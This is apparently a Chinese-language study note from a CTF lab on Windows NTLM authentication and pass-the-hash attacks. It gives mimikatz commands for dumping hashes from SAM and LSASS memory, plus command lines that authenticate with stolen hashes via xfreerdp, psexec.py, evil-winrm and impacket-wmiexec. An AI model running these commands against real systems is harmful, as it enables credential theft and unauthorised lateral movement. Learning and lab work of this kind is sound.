Windows-NTLM与PTH
写这篇文章也是在打春秋云镜Time靶机的时候遇到这个东西 于是就想写篇文章来记录学习一下 thm虽然也讲了 但是自己写一遍记录的话还是能够加深印象的
NTLM 身份验证原理
这个NTLM协议和Kerberos就是域中身份验证的两大协议
这个NTLM协议相比于Kerberos协议是稍微简陋了一点 所以这就是为什么Kerberos协议是主流的原因
- 客户端向要访问的服务器发送身份验证请求。
- 服务器生成一个随机数,并将其作为质询发送给客户端。
- 客户端将其 NTLM 密码哈希与质询(和其他已知数据)相结合,以生成对质询的响应,并将其发送回服务器进行验证。
- 服务器将质询和响应转发到域控制器进行验证。
- 域控制器使用质询重新计算响应,并将其与客户端发送的初始响应进行比较。如果它们都匹配,则客户端进行身份验证;否则,访问将被拒绝。身份验证结果将发送回服务器。
- 服务器将身份验证结果转发到客户端
就是这么个身份验证原理
(那么这个协议使用少的话肯定是有他自己的原因的 接下来就讲一下这个PTH攻击 就是因为这个协议的验证过于简陋造成的)
PTH攻击
由于从我们已获得管理权限的主机中提取凭据(通过使用 mimikatz 或类似工具),我们可能会获得易于破解的明文密码或哈希。但是,如果我们不够幸运,我们最终会得到未破解的 NTLM 密码哈希。
尽管我们似乎无法真正使用这些哈希,但只需知道密码哈希即可响应身份验证期间发送的 NTLM 质询。这意味着我们可以进行身份验证,而无需知道明文密码。如果将 Windows 域配置为使用 NTLM 身份验证,则不必破解 NTLM 哈希,我们可以传递哈希 (PtH) 并成功进行身份验证。
要提取 NTLM 哈希,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希。
- 本地SAM进行读取
这个的话是只能读取这个计算下用户的hash值 并不能提取到别的
lsadump::sam
- LSASS 内存进行读取
这个的话是可以提取本地用户和最近登录到计算机的任何域用户的任何 NTLM 哈希
sekurlsa::msv
那么我们只需要获取到这个NTLM哈希后 我们就可以开始进行PTH攻击了
PTH连接RDP
1 | xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH |
PTH 通过 psexec 连接
1 | psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP |
(必须在linux环境下进行连接)
psexec的话都是直接连接到这个windows终端
这个psexec的使用条件是有点苛刻的
- 对方主机开启了 admin共享,如果关闭了admin共享,会提示:找不到网络名
- 如果是工作组环境,则必须使用administrator用户连接,使用普通用户连接会提示:登录失败: 未授予用户在此计算机上的请求登录类型。
- 如果是域环境,连接普通域主机可以用普通域用户,连接域控需要域管理员。
- 这里用非域管,就提示登录失败
如何判断是组还是域
- wmic computersystem get domain:如果返回结果是一个域名,那么系统处于域环境。
- wmic computersystem get workgroup:如果返回结果是一个工作组名称,那么系统处于工作组环境。
PTH连接WinRM
1 | evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH |
这个的话也是连接到这个windows终端
使用WIM也是可以的 只不过这个的话是需要密码明文的
1 | proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.12 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 |